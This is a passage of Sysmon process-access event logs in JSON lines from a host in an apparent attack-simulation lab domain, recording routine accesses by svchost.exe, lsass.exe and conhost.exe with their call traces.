2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4577,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4578,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4579,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4580,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4581,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nSourceProcessId: 4108\r\nSourceThreadId: 3644\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010178E0600}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","SourceProcessId":"4108","SourceThreadId":"3644","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010178E0600}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4582,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4583,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.397\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.397","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4584,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.397\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871